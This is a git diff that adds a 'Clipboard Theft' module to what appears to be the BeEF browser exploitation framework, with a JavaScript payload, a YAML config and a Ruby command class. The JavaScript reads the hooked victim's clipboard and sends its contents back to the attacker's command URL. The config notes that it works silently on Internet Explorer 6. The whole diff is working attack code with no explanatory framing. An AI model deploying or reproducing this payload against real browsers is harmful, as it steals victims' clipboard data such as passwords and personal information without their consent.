diff --git a/modules/misc/clipboard_theft/command.js b/modules/misc/clipboard_theft/command.js new file mode 100644 index 000000000..a7bab8a8b --- /dev/null +++ b/modules/misc/clipboard_theft/command.js @@ -0,0 +1,7 @@ +beef.execute(function() { + if (clipboardData.getData("Text") !== null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text")); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported."); + } +}); diff --git a/modules/misc/clipboard_theft/config.yaml b/modules/misc/clipboard_theft/config.yaml new file mode 100644 index 000000000..dc0bd5a15 --- /dev/null +++ b/modules/misc/clipboard_theft/config.yaml @@ -0,0 +1,13 @@ +beef: + module: + clipboard_theft: + enable: true + category: "Misc" + name: "Clipboard Theft" + description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard." + authors: ["bcoles"] + target: + working: [IE6] + not_working: [FF, O, C, IE8] + user_notify: [IE7] + diff --git a/modules/misc/clipboard_theft/module.rb b/modules/misc/clipboard_theft/module.rb new file mode 100644 index 000000000..309e7a6f4 --- /dev/null +++ b/modules/misc/clipboard_theft/module.rb @@ -0,0 +1,38 @@ +class Clipboard_theft < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Clipboard Theft', + 'Description' => 'Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard.', + 'Category' => 'Misc', + 'Author' => 'bcoles', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => IE + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => O + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => FF + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => C + }) + + use_template! + end + + def callback + content = {} + content['clipboard'] = @datastore['clipboard'] + save content + end + +end